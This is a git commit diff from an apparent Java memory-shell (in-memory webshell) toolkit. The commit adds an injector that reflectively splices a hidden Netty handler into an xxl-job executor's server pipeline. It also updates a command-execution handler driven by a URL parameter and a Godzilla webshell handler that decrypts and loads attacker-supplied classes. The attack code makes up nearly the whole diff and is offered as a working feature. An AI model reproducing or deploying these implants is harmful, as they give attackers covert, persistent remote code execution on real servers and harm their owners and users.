feat: support xxl-job executor NettyHandler (#30)

Only support jdk8, in jdk11 or jdk17 env, you should use file write and use urlClassLoader to load injectorClass or else.
2026-09-21 22:50:42 +08:00 · 2025-01-22 18:36:19 +08:00
parent d4067caee5
commit ca4c1d6e4b
51 changed files with 1042 additions and 335 deletions
@@ -22,8 +22,8 @@ public class CommandNettyHandler extends ChannelDuplexHandler {
    @Override
    @SuppressWarnings("all")
    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
-        if (msg instanceof DefaultHttpRequest) {
-            DefaultHttpRequest request = (DefaultHttpRequest) msg;
+        if (msg instanceof HttpRequest) {
+            HttpRequest request = (HttpRequest) msg;
            HttpHeaders headers = request.headers();
            String uri = request.uri();
            String cmd = getParameter(uri, paramName);
@@ -44,12 +44,17 @@ public class CommandNettyHandler extends ChannelDuplexHandler {
            } catch (Exception ignored) {
            }
            send(ctx, result.toString());
+        } else {
+            ctx.fireChannelRead(msg);
        }
    }

    public String getParameter(String requestUrl, String paramName) throws Exception {
        URI uri = new URI(requestUrl);
        String query = uri.getQuery();
+        if (query == null) {
+            return null;
+        }
        String[] kvs = query.split("&");
        for (String kv : kvs) {
            String k = null;
@@ -18,6 +18,9 @@ import java.net.URLClassLoader;
 import java.net.URLDecoder;
 import java.nio.charset.StandardCharsets;

+/**
+ * @author ReaJason
+ */
@ChannelHandler.Sharable
 public class GodzillaNettyHandler extends ChannelDuplexHandler {
    public static String key;
@@ -25,15 +28,15 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler {
    public static String md5;
    public static String headerName;
    public static String headerValue;
-    private StringBuilder requestBody = new StringBuilder();
-    private DefaultHttpRequest request;
+    private final StringBuilder requestBody = new StringBuilder();
+    private HttpRequest request;
    private static Class<?> payload;

-    private static Class<?> defClass(byte[] classbytes) throws Exception {
+    private static Class<?> defineClass(byte[] bytes) throws Exception {
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
        Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
        method.setAccessible(true);
-        return (Class<?>) method.invoke(urlClassLoader, classbytes, 0, classbytes.length);
+        return (Class<?>) method.invoke(urlClassLoader, bytes, 0, bytes.length);
    }

    public byte[] x(byte[] s, boolean m) {
@@ -48,11 +51,11 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler {

    @Override
    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
-        if (msg instanceof DefaultHttpRequest) {
-            request = (DefaultHttpRequest) msg;
+        if (msg instanceof HttpRequest) {
+            request = (HttpRequest) msg;
            HttpHeaders headers = request.headers();
            String value = headers.get(headerName);
-            if (value == null || !value.equals(headerValue)) {
+            if (value == null || !value.contains(headerValue)) {
                ctx.fireChannelRead(msg);
                return;
            }
@@ -64,7 +67,7 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler {
            String value = headers.get(headerName);

            // quick fail，防止其他哥斯拉马打进来走这个逻辑寄了
-            if (value == null || !value.equals(headerValue)) {
+            if (value == null || !value.contains(headerValue)) {
                ctx.fireChannelRead(msg);
                return;
            }
@@ -77,7 +80,7 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler {
                    requestBody.setLength(0);
                    byte[] data = x(base64Decode(base64Str), false);
                    if (payload == null) {
-                        payload = defClass(data);
+                        payload = defineClass(data);
                        send(ctx, "");
                        return;
                    } else {
@@ -35,18 +35,14 @@ public class SpringWebFluxNettyHandlerInjector implements ChannelPipelineConfigu
    public SpringWebFluxNettyHandlerInjector() {
        try {
            Object nettyServer = getNettyServer();
-            Object handler = getShell();
-            inject(nettyServer, handler);
+            handlerClass = getShellClass();
+            inject(nettyServer);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

-    private Object handler;
-
-    public SpringWebFluxNettyHandlerInjector(Object handler) {
-        this.handler = handler;
-    }
+    private Class<?> handlerClass;

    public Object getNettyServer() throws Exception {
        ThreadGroup group = Thread.currentThread().getThreadGroup();
@@ -61,29 +57,22 @@ public class SpringWebFluxNettyHandlerInjector implements ChannelPipelineConfigu
        return null;
    }

-    private Object getShell() throws Exception {
+    private Class<?> getShellClass() throws Exception {
        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
-        Object interceptor = null;
        try {
-            interceptor = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName());
        } catch (Exception e) {
            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
-            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            interceptor = clazz.newInstance();
+            return (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
        }
-        return interceptor;
    }

-    public void inject(Object nettyServer, Object handler) {
-        try {
-            Object config = getFieldValue(getFieldValue(nettyServer, "val$disposableServer"), "config");
-            this.handler = handler;
-            setFieldValue(config, "doOnChannelInit", this);
-            System.out.println("netty handler injected successfully");
-        } catch (Exception ignored) {
-        }
+    public void inject(Object nettyServer) throws Exception {
+        Object config = getFieldValue(getFieldValue(nettyServer, "val$disposableServer"), "config");
+        setFieldValue(config, "doOnChannelInit", this);
+        System.out.println("netty handler injected successfully");
    }

    @SuppressWarnings("all")
@@ -149,6 +138,10 @@ public class SpringWebFluxNettyHandlerInjector implements ChannelPipelineConfigu
    @Override
    public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress remoteAddress) {
        ChannelPipeline pipeline = channel.pipeline();
-        pipeline.addBefore("reactor.left.httpTrafficHandler", "memshell_handler", ((ChannelHandler) handler));
+        try {
+            pipeline.addBefore("reactor.left.httpTrafficHandler", "memshell_handler", ((ChannelHandler) handlerClass.newInstance()));
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
    }
 }
@@ -0,0 +1,172 @@
+package com.reajason.javaweb.memshell.xxljob.injector;
+
+import com.xxl.job.core.biz.impl.ExecutorBizImpl;
+import com.xxl.job.core.server.EmbedServer;
+import io.netty.channel.ChannelHandler;
+import io.netty.channel.ChannelInitializer;
+import io.netty.channel.socket.SocketChannel;
+import io.netty.handler.codec.http.HttpObjectAggregator;
+import io.netty.handler.codec.http.HttpServerCodec;
+import io.netty.handler.timeout.IdleStateHandler;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.HashSet;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.ThreadPoolExecutor;
+import java.util.concurrent.TimeUnit;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2025/1/21
+ */
+public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel> {
+    static {
+        new XxlJobNettyHandlerInjector();
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public XxlJobNettyHandlerInjector() {
+        try {
+            handlerClass = getShellClass();
+            inject();
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    private Class<?> handlerClass;
+
+    @Override
+    protected void initChannel(SocketChannel channel) throws Exception {
+        ChannelHandler channelHandler = (ChannelHandler) handlerClass.newInstance();
+        channel.pipeline()
+                .addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS))
+                .addLast(new HttpServerCodec())
+                .addLast(new HttpObjectAggregator(5 * 1024 * 1024))
+                .addLast(channelHandler)
+                .addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor(
+                        0,
+                        200,
+                        60L,
+                        TimeUnit.SECONDS,
+                        new LinkedBlockingQueue<>(2000),
+                        r -> new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode()),
+                        (r, executor) -> {
+                            throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!");
+                        })));
+    }
+
+    private Class<?> getShellClass() throws Exception {
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        try {
+            return classLoader.loadClass(getClassName());
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            return (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+        }
+    }
+
+    public void inject() throws Exception {
+        ThreadGroup group = Thread.currentThread().getThreadGroup();
+        Field threads = group.getClass().getDeclaredField("threads");
+        threads.setAccessible(true);
+        Thread[] allThreads = (Thread[]) threads.get(group);
+        for (Thread thread : allThreads) {
+            if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
+                Object target;
+
+                try {
+                    target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor");
+                } catch (Exception e) {
+                    continue;
+                }
+
+                if (target.getClass().getName().endsWith("NioEventLoop")) {
+                    HashSet<?> set = (HashSet<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
+                    if (!set.isEmpty()) {
+                        Object keys = set.toArray()[0];
+                        Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");
+                        Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");
+                        setFieldValue(embedHttpServerHandler, "childHandler", this);
+                        System.out.println("xxl-job NettyHandler inject successful");
+                        break;
+                    }
+                }
+            }
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+        } finally {
+            if (gzipInputStream != null) {
+                try {
+                    gzipInputStream.close();
+                } catch (IOException ignored) {
+                }
+            }
+            out.close();
+        }
+        return out.toByteArray();
+    }
+
+    public Field getField(final Class<?> clazz, final String fieldName) {
+        Field field = null;
+        try {
+            field = clazz.getDeclaredField(fieldName);
+            field.setAccessible(true);
+        } catch (NoSuchFieldException ex) {
+            if (clazz.getSuperclass() != null) {
+                field = getField(clazz.getSuperclass(), fieldName);
+            }
+        }
+        return field;
+    }
+
+    public Object getFieldValue(final Object obj, final String fieldName) throws Exception {
+        final Field field = getField(obj.getClass(), fieldName);
+        return field.get(obj);
+    }
+
+    public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
+        final Field field = getField(obj.getClass(), fieldName);
+        field.set(obj, value);
+    }
+}
@@ -0,0 +1,8 @@
+package com.xxl.job.core.biz;
+
+/**
+ * @author ReaJason
+ * @since 2025/1/21
+ */
+public class ExecutorBiz {
+}
@@ -0,0 +1,10 @@
+package com.xxl.job.core.biz.impl;
+
+import com.xxl.job.core.biz.ExecutorBiz;
+
+/**
+ * @author ReaJason
+ * @since 2025/1/21
+ */
+public class ExecutorBizImpl extends ExecutorBiz {
+}
@@ -0,0 +1,35 @@
+package com.xxl.job.core.server;
+
+import com.xxl.job.core.biz.ExecutorBiz;
+import io.netty.channel.ChannelHandler;
+import io.netty.channel.ChannelHandlerContext;
+
+import java.util.concurrent.ThreadPoolExecutor;
+
+/**
+ * @author ReaJason
+ * @since 2025/1/21
+ */
+public class EmbedServer {
+
+    public static class EmbedHttpServerHandler implements ChannelHandler {
+        public EmbedHttpServerHandler(ExecutorBiz executorBiz, String prefix, ThreadPoolExecutor executor) {
+
+        }
+
+        @Override
+        public void handlerAdded(ChannelHandlerContext ctx) throws Exception {
+
+        }
+
+        @Override
+        public void handlerRemoved(ChannelHandlerContext ctx) throws Exception {
+
+        }
+
+        @Override
+        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception {
+
+        }
+    }
+}